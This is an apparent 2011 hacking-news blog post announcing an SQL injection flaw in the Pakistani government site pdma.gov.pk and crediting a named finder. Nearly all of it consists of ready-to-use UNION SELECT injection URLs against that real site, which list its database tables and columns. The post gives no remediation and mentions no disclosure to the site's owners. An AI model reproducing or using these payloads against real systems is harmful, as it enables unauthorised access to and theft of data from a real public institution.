SQLi vulnerability Found in Pdma.gov.pk by Amit Khajuria !
Tuesday, June 28, 2011 // by Hacking Beast Editor //
Labels:
Cyber News,
Cyber Security,
vulnerability
//
0
comments
Vuln:-
http://www.pdma.gov.pk/newsArchive.php?ID=-74+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11+from+information_schema.columns--
http://www.pdma.gov.pk/newsArchive.php?ID=-74+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database
http://www.pdma.gov.pk/newsArchive.php?ID=-74+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11+from+information_schema.columns--
http://www.pdma.gov.pk/newsArchive.php?ID=-74+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database
This vulnerability Was founded by my friend Amit Khajuriya owner at Innocent hacker .com
0 comments: